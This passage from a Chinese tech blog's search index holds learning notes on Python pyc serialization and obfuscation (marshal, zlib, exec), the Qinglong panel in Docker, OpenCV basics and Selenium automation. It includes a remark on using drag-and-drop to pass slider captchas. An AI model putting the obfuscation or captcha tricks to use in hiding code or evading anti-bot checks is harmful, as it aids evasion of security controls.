print('timestamp:', struct.unpack('\u003cI', timestamp)[0]) print('size:', struct.unpack('\u003cI', size)[0]) # 加载 pyc 文件中的 Python 对象 pyobj = marshal.loads(pyc[16:]) # 压缩 pyc 文件中的 Python 对象 print(zlib.compress(marshal.dumps(pyobj))) # 执行 pyc 文件中的 Python 对象 exec(pyobj) ","date":"2024-05-15","objectID":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/:2:1","tags":["加密与解密","序列化"],"title":"Python代码序列化混淆压缩学习记录","uri":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"},{"categories":["Python","加密与解密"],"content":"2. Pyc 反序列化还原操作:\r# 通过 code object 生成 pyc HEADER = magic + b\"\\x00\" * 4 # 时间随便写 HEADER += struct.pack(\"\u003cI\", int(time.time())) # 大小随便写 HEADER += struct.pack(\"\u003cI\", 30) code = HEADER + marshal.dumps('代码') Path('test.pyc').write_bytes(code) #生成pyc之后在终端cmd运行 .\\pycdc.exe .\\test.pyc ","date":"2024-05-15","objectID":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/:2:2","tags":["加密与解密","序列化"],"title":"Python代码序列化混淆压缩学习记录","uri":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"},{"categories":["Python","加密与解密"],"content":"3. 使用dis模块进行指令还原代码:\rimport dis import sys def disassemble_pyc_file(pyc_file_path): try: with open(pyc_file_path, 'rb') as file: magic = file.read(4) timestamp = file.read(4) size = file.read(4) code_object = file.read() print(\"Disassembling bytecode for:\", pyc_file_path) dis.dis(code_object) except FileNotFoundError: print(\"File not found:\", pyc_file_path) except Exception as e: print(\"An error occurred:\", e) if __name__ == \"__main__\": if len(sys.argv) != 2: print(\"Usage: python disassemble_pyc.py \u003cpyc_file\u003e\") else: pyc_file_path = sys.argv[1] disassemble_pyc_file(pyc_file_path) #使用方法: python disassemble_pyc.py \u003cpyc_file\u003e 注意\rPyc生成要与反编译(反序列化)的Python版本所对应\r","date":"2024-05-15","objectID":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/:2:3","tags":["加密与解密","序列化"],"title":"Python代码序列化混淆压缩学习记录","uri":"/posts/python%E4%BB%A3%E7%A0%81%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B7%E6%B7%86%E5%8E%8B%E7%BC%A9%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"},{"categories":["自动化测试"],"content":"安装、使用、拉库、配置","date":"2024-04-06","objectID":"/posts/%E9%9D%92%E9%BE%99%E9%9D%A2%E6%9D%BF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","tags":["工具","青龙面板"],"title":"青龙面板学习笔记","uri":"/posts/%E9%9D%92%E9%BE%99%E9%9D%A2%E6%9D%BF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["自动化测试"],"content":" 系统环境:阿里云Linux服务器、Docker 青龙面板学习笔记\r","date":"2024-04-06","objectID":"/posts/%E9%9D%92%E9%BE%99%E9%9D%A2%E6%9D%BF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:0:0","tags":["工具","青龙面板"],"title":"青龙面板学习笔记","uri":"/posts/%E9%9D%92%E9%BE%99%E9%9D%A2%E6%9D%BF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["自动化测试"],"content":"使用docker安装青龙面板\rdocker pull whyour/qinglong:latest 运行后直接启动 docker run --name qinglong -d \\ -p 5700:5700 \\ -v /opt/ql/data:/ql/data \\ -e QlBaseUrl=\"/\" \\ #设置环境变量 QlBaseUrl 和 QlPort,青龙面板服务启动时使用 -e QlPort=\"5700\" \\ --hostname qinglong \\ #设置容器主机名为 qinglong --restart unless-stopped \\ #设置容器随docker启动自动启动 whyour/qinglong:latest 访问 ip:5700 如果已经创建容器,没有随着docker自动启动的话就运行: docker ps -a docker start [容器名称/ID] 如图: ","date":"2024-04-06","objectID":"/posts/%E9%9D%92%E9%BE%99%E9%9D%A2%E6%9D%BF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:1:0","tags":["工具","青龙面板"],"title":"青龙面板学习笔记","uri":"/posts/%E9%9D%92%E9%BE%99%E9%9D%A2%E6%9D%BF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["自动化测试"],"content":"进入容器进行操作\r运行如下命令 docker exec -it [容器名] /bin/bash 出现 内置命令有(task ql): task # 依次执行,如果设置了随机延迟,将随机延迟一定秒数 task \u003cfile_path\u003e # 依次执行,无论是否设置了随机延迟,均立即运行,前台会输出日,同时记录在日志文件中 task \u003cfile_path\u003e now # 并发执行,无论是否设置了随机延迟,均立即运行,前台不产生日,直接记录在日志文件中,且可指定账号执行 task \u003cfile_path\u003e conc \u003cenv_name\u003e \u003caccount_number\u003e(可选的) # 指定账号执行,无论是否设置了随机延迟,均立即运行 task \u003cfile_path\u003e desi \u003cenv_name\u003e \u003caccount_number\u003e # 设置任务超时时间 task -m \u003cmax_time\u003e \u003cfile_path\u003e # 使用 -- 分割,-- 后面的参数会传给脚本,下面的例子,脚本就可接收到参数 -u whyour -p password task \u003cfile_path\u003e -- -u whyour -p password ql # 更新并重启青龙 ql update # 运行自定义脚本extra.sh ql extra # 添加单个脚本文件 ql raw \u003cfile_url\u003e # 添加单个仓库的指定脚本 ql repo \u003crepo_url\u003e \u003cwhitelist\u003e \u003cblacklist\u003e \u003cdependence\u003e \u003cbranch\u003e \u003cextensions\u003e # 删除旧日志 ql rmlog \u003cdays\u003e # 启动tg-bot ql bot # 检测青龙环境并修复 ql check # 重置登录错误次数 ql resetlet # 禁用两步登录 ql resettfa more..待完善 ","date":"2024-04-06","objectID":"/posts/%E9%9D%92%E9%BE%99%E9%9D%A2%E6%9D%BF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/:2:0","tags":["工具","青龙面板"],"title":"青龙面板学习笔记","uri":"/posts/%E9%9D%92%E9%BE%99%E9%9D%A2%E6%9D%BF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"categories":["Python","深度学习"],"content":"图片创建、修改、翻转与画线、形状。","date":"2023-07-23","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(二)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Python","深度学习"],"content":"图片修改与翻转\r","date":"2023-07-23","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/:1:0","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(二)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Python","深度学习"],"content":"修改大小\rimg_size = cv2.resize(img,(1000,300)) #修改大小 plt.imshow(img) img_size.shape #是以 宽,长 显示而不是长,宽 ","date":"2023-07-23","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/:1:1","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(二)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Python","深度学习"],"content":"翻转\r# 0 垂直翻转 1 水平翻转 -1 水平锤直都翻转 img_flip= cv2.flip(img_fix,值) ","date":"2023-07-23","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/:1:2","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(二)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Python","深度学习"],"content":"创建黑色画布\rimg = np.zeros((300, 300, 3), dtype = \"uint8\") pts = np.array([[10, 50], [200, 50], [90, 200]], np.int32) pts = pts.reshape((-1, 1, 2)) ","date":"2023-07-23","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/:2:0","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(二)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Python","深度学习"],"content":"基础画线画图\r","date":"2023-07-23","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/:3:0","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(二)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Python","深度学习"],"content":"画线\rcv2.line(img, (起始点), (结束点), (颜色), thickness=10) cv2.imshow('窗口名称', img) cv2.waitKey(0) #无限等待,按任意键退出 cv2.destroyAllWindows() #关闭窗口 ","date":"2023-07-23","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/:3:1","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(二)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Python","深度学习"],"content":"画圆\rcv2.circle(img=img,center=(圆心的坐标),radius=半径,color=(0,0,255),thickness=10) #圆心坐标先是 Y轴 再是X轴 cv2.imshow('窗口名称', img) cv2.waitKey(0) #无限等待,按任意键退出 cv2.destroyAllWindows() #关闭窗口 ","date":"2023-07-23","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/:3:2","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(二)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Python","深度学习"],"content":"画矩形 / 多边形\r矩形\rcv2.rectangle(img, (左上角坐标), (右下角坐标), (0, 255, 0), 10) cv2.imshow('窗口名称', img) cv2.waitKey(0) #无限等待,按任意键退出 cv2.destroyAllWindows() #关闭窗口 多边形(以三角形为例)\rpts = np.array([[300, 10], [200, 50], [150, 140]], np.int32) #三角形的三个点 pts = pts.reshape((-1, 1, 2)) cv2.polylines(img, [pts], True, (0, 255, 0), 3) #True线条是否闭合 pts为列表 cv2.imshow('窗口名称', img) cv2.waitKey(0) #无限等待,按任意键退出 cv2.destroyAllWindows() #关闭窗口 注意\r创建一个新的图像或者调整图像的大小时为(Y,X)形式表示 其余都为(X,Y)形式表示 ","date":"2023-07-23","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/:3:3","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(二)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%BA%8C/"},{"categories":["Python","深度学习"],"content":"理解图像的本质,图片、颜色通道、转化方式、备份原图。","date":"2023-07-22","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(一)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Python","深度学习"],"content":"导入需要的包\rimport numpy as np import matplotlib.pyplot as plt %matplotlib inline ##嵌入画图在jupyter中使用,开发工具中去除 from PIL import Image ","date":"2023-07-22","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/:1:0","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(一)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Python","深度学习"],"content":"测试打开图片\rimg = Image.open('123.jpeg') img ","date":"2023-07-22","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/:2:0","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(一)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Python","深度学习"],"content":"转换为Numpy元组\rimg_1 = np.asanyarray(img) img_1.shape #(960, 720, 3) 长,宽,3个颜色通道分别为Red、Green、Blue ","date":"2023-07-22","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/:3:0","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(一)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Python","深度学习"],"content":"复制一份图片\rimg_1_copy = img_1.copy() #保持原图可二次修改 ","date":"2023-07-22","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/:4:0","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(一)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Python","深度学习"],"content":"颜色通道修改\rplt.imshow(img_1_copy[:,:,0]) #单独显示了红色通道。 img[:,:] = [255, 255, 0] # RGB值(255, 255, 0)代表黄色——颜色的混合 ","date":"2023-07-22","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/:5:0","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(一)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Python","深度学习"],"content":"Matplotlib的颜色映射\rMatplotlib 提供了许多预定义的颜色映射。以下是一些常见的颜色映射:\r- 'viridis':默认的颜色映射,从深蓝色到黄色的渐变。\r- 'plasma':从深紫色到橙色的渐变。\r- 'inferno':从黑色到深红色的渐变。\r- 'magma':从黑色到白色,中间包含紫色和橙色的渐变。\r- 'cividis':从深蓝色到黄色的渐变,设计用于色盲友好。\r- 'Greys':从黑色到白色的灰度渐变。\r- 'Purples':从浅紫色到深紫色的渐变。\r- 'Blues':从浅蓝色到深蓝色的渐变。\r- 'Greens':从浅绿色到深绿色的渐变。\r- 'Oranges':从浅橙色到深橙色的渐变。\r- 'Reds':从浅红色到深红色的渐变。","date":"2023-07-22","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/:6:0","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(一)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Python","深度学习"],"content":"几个栗子,参考参考\r原图:一只小盲仔\rMatplotlib的imshow()函数期望图像是RGB格式的。所以,如果你在OpenCV中处理图像(它使用BGR),然后想用Matplotlib显示图像,你需要将其从BGR转换为RGB。 import cv2 from matplotlib import pyplot as plt img_bgr = cv2.imread('image.jpg') img_rgb = cv2.cvtColor(img_bgr, cv2.COLOR_BGR2RGB) plt.imshow(img_rgb) plt.show() #显示所有已经创建的图像 注意\r图上所示:img_1_copy[:,:,0]) 0、1、2 分别代表图像的所有行数,所有列,索引值 索引值说明: 0、1、2分别对应红、绿、蓝(RGB) 如果使用OpenCV打开就是蓝、绿、红(BGR)。 ","date":"2023-07-22","objectID":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/:6:1","tags":["OpenCV","Python","深度学习"],"title":"OpenCV——基础笔记(一)","uri":"/posts/opencv%E5%9F%BA%E7%A1%80%E7%AC%94%E8%AE%B0%E4%B8%80/"},{"categories":["Python"],"content":"书法文字检测形态学\r","date":"2023-06-06","objectID":"/posts/%E5%BD%A2%E6%80%81%E5%AD%A6%E6%96%B9%E6%B3%95%E6%A3%80%E6%B5%8B/:0:0","tags":["深度学习","Python"],"title":"形态学检测方法","uri":"/posts/%E5%BD%A2%E6%80%81%E5%AD%A6%E6%96%B9%E6%B3%95%E6%A3%80%E6%B5%8B/"},{"categories":["Python"],"content":"# 检测书法文字\r步骤:\r1、读取图片,灰度、二值化处理\r# 二值化 # 参数1:输入图片 # 参数2:比较的阈值 # 参数3:超出阈值被设定的值 # 参数4:模式 # 作用:将画面像素与比较阈值对比,小于它则设为0(黑色),大于它设为目标值 r,black_img = cv2.threshold(gray,100,255,cv2.THRESH_BINARY_INV) plt.imshow(black_img,cmap='gray') 边缘检测 #边缘检测 edges = cv2.Canny(图像值,30,200) plt.imshow(edges,cmap='gray') 3、膨胀连接\r4、闭合孔洞\r5、边缘检测\r6、画检测框\r","date":"2023-06-06","objectID":"/posts/%E5%BD%A2%E6%80%81%E5%AD%A6%E6%96%B9%E6%B3%95%E6%A3%80%E6%B5%8B/:1:0","tags":["深度学习","Python"],"title":"形态学检测方法","uri":"/posts/%E5%BD%A2%E6%80%81%E5%AD%A6%E6%96%B9%E6%B3%95%E6%A3%80%E6%B5%8B/"},{"categories":["自动化测试","Python"],"content":"进阶使用执行:JS代码,模拟按键组合键、切换窗口总结。","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"浏览器的控制\rdriver.set_window_size(宽,高)#设置宽高 driver.maximize_window()#全屏显示 driver.forward() #浏览器的上一步 driver.back() #浏览器的后退 driver.refresh() #浏览器的刷新 ","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:1:0","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"浏览器的窗口切换\r","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:2:0","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"获取窗口句柄\rhandles=driver.window_handles print(handles) ","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:2:1","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"切换窗口命令\rdriver.switch_to.window(handles[0]) handles[0] 切换到最开始打开的窗口 handles[-1] 切换到最新打开的窗口 handles[-2] 倒数第二个打开的窗口 ","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:2:2","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"进阶姿势\r","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:3:0","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"JS代码执行\rexecuteScript是同步方法,用它执行js代码会阻塞主线程执行,直到js代码执行完毕; executeAsyncScript方法是异步方法,它不会阻塞主线程执行。 #值可写多个JS变量 execute_script() executeAsyncScript() ","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:3:1","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"上传文件的元素操作\rWebElement adFileUpload =driver.findElement(By.id(\"上传\")); String filePath = \"C:\\1.php\";adFileUpload.sendKeys(filePath) ","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:3:2","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"隐式等待\r如果在30秒内执行就继续下一步,没有执行就等待30秒,30秒如果元素还未出现则跳过,不抛出异常 driver.implicitly_wait(30) ","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:3:3","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"显式等待\r如果执行就继续下一步,没有执行就等待30秒,30秒如果元素还未出现则抛出异常,不继续 demo: python\rresult=WebDriverWait(driver,10).until(expected_conditions.alert_is_present()) alert_is_present() #判断页面是否出现alert框 title_is() #判断页面title内容是与传入的title_text内容完全匹配 title_contains() #判断页面title标签的内容包含 partial_title() #只需要部分匹配即可 text_to_be_present_in_element_value() #判断text是否出现在元素的value属性值中 text_to_be_present_in_element() #判断文本内容test是否出现在某个元素中,判断的是元素的text presence_of_all_elements_located(*locator*)#判断页面至少有一个如果元素出现,如果满足条件,返回所有满足定位表达式的页面元素 技巧\r不等待某个元素加载,使用time.sleep方法,方便快捷。\r","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:3:4","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"键盘操作\r","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:4:0","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"第一种方法——Selenium自带的Keys包\rfrom selenium.webdriver.common.keys import Keys 常见的键盘操作: # 删除键 sent_keys(Keys.BACK_SPACE) # 空格键 sent_keys(Keys.SPACE) # tab 键 sent_keys(Keys.TAB) # delete 键 sent_keys(Keys.DELETE) # + 键 sent_keys(Keys.ADD) # enter 键 sent_keys(Keys.ENTER) # shift 键 sent_keys(Keys.SHIFT) # ctrl+A:全选 sent_keys(Keys.CONTROL, 'a') # ctrl+C:复制 sent_keys(Keys.CONTROL, 'c') # ctrl+V:粘贴 sent_keys(Keys.CONTROL, 'v') # ctrl+X:剪切 sent_keys(Keys.CONTROL, 'x') # F1 键 sent_keys(Keys.F1) # 数字9 键 sent_keys(Keys.NUMPAD9) ","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:4:1","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"第二种方法——Python的第三方库——pywin32库\rimport win32api import win32con class KeyboardKeys(object): #模拟键盘按键类 VK_CODE={ 'enter':0x0D, 'ctrl':0x11, 'v':0x56 } @staticmethod def keyDown(keyName): #按下按键 win32api.keybd_event(KeyboardKeys.VK_CODE[keyName],0,0,0) @staticmethod def keyUp(keyName): #释放按键 win32api.keybd_event(KeyboardKeys.VK_CODE[keyName],0,win32con.KEYEVENTF_KEYUP,0) @staticmethod def oneKey(key): #模拟单个按键 KeyboardKeys.keyDown(key) KeyboardKeys.keyUp(key) @staticmethod def twoKeys(key1,key2): #模拟两个组合键 KeyboardKeys.keyDown(key1) KeyboardKeys.keyDown(key2) KeyboardKeys.keyUp(key2) KeyboardKeys.keyUp(key1) 问题\rKeybd_event() 共有四个参数: 第一个为按键的虚拟键值,如回车键为vk_return,tab键为vk_tab; 第二个参数为扫描码,一般不用设置,用0代替就行; 第三个参数为选项标志,如果为keydown则置0即可,如果为keyup则设成\"KEYEVENTF_KEYUP\"; 第四个参数一般也是置0即可。 ","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:4:2","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"鼠标操作\rfrom selenium.webdriver.common.action_chains import ActionChains ","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:5:0","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"全局鼠标操作语法如下:\r1.初始化ActionChians类(动作链条): actions = ActionChains(driver) 2.找到要操作的元素: element = find_element (值)3.调用鼠标操作方法: actions.move_to_element(element) 4.执行鼠标操作方法: actions.perform()调用 perform() 方法时,队列中的操作会依次进行。 ","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:5:1","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"常用方法\rdouble_click(on_element=None) #双击鼠标左键 #常用于拖拽验证码环节,不包括图像补全验证码。 source = driver.find_element_by_id(xxx) target = driver.find_element_by_id(xxx) drag_and_drop(source, target) action.drag_and_drop(source, target).perform() #拖拽元素 move_by_offset(xoffset, yoffset) #鼠标从1位置移动到2坐标 release(on_element=None) #在元素上释放按住的鼠标按钮(在某个元素位置松开鼠标左键) 注意\r最终调用 perform() 方法时,队列中的操作才会依次进行。\r","date":"2023-06-04","objectID":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/:5:2","tags":["工具","Python","Selenium"],"title":"Selenium——进阶使用","uri":"/posts/chromedriver%E8%BF%9B%E9%98%B6%E4%BD%BF%E7%94%A8/"},{"categories":["自动化测试","Python"],"content":"安装便捷、对应版本、安装建议、不同系统下的安装方法","date":"2023-06-03","objectID":"/posts/chromedriver%E5%AE%89%E8%A3%85/","tags":["工具","Python","Selenium"],"title":"Selenium——ChromeDriver安装","uri":"/posts/chromedriver%E5%AE%89%E8%A3%85/"},{"categories":["自动化测试","Python"],"content":"\r摘要\r“Selenium支持市场上所有主要浏览器,如Chrome、Firefox、IE(7, 8, 9, 10, 11)、Edge、Opera和Safari,下面以主流的Chrome浏览器进行安装测试。\r","date":"2023-06-03","objectID":"/posts/chromedriver%E5%AE%89%E8%A3%85/:0:0","tags":["工具","Python","Selenium"],"title":"Selenium——ChromeDriver安装","uri":"/posts/chromedriver%E5%AE%89%E8%A3%85/"},{"categories":["自动化测试","Python"],"content":"安装Selenium\rpip install selenium ","date":"2023-06-03","objectID":"/posts/chromedriver%E5%AE%89%E8%A3%85/:1:0","tags":["工具","Python","Selenium"],"title":"Selenium——ChromeDriver安装","uri":"/posts/chromedriver%E5%AE%89%E8%A3%85/"},{"categories":["自动化测试","Python"],"content":"安装ChromeDriver\r谷歌镜像\rhttp://chromedriver.storage.googleapis.com/index.html\r淘宝镜像\rhttps://npm.taobao.org/mirrors/chromedriver/\r根据自己Chrome浏览器版本下载 建议使用高版本,低版本有些功能使用有BUG ","date":"2023-06-03","objectID":"/posts/chromedriver%E5%AE%89%E8%A3%85/:2:0","tags":["工具","Python","Selenium"],"title":"Selenium——ChromeDriver安装","uri":"/posts/chromedriver%E5%AE%89%E8%A3%85/"},{"categories":["自动化测试","Python"],"content":"添加环境变量\r将安装好的ChromeDriver目录添加到环境变量 如果没有配置,则在你的Python代码中写出: from selenium import webdriver options = webdriver.ChromeOptions() driver = webdriver.Chrome(executable_path=\"你的ChromeDriver的绝对路径\", options=options) driver.get(\"https://www.baidu.com/\") driver.close() 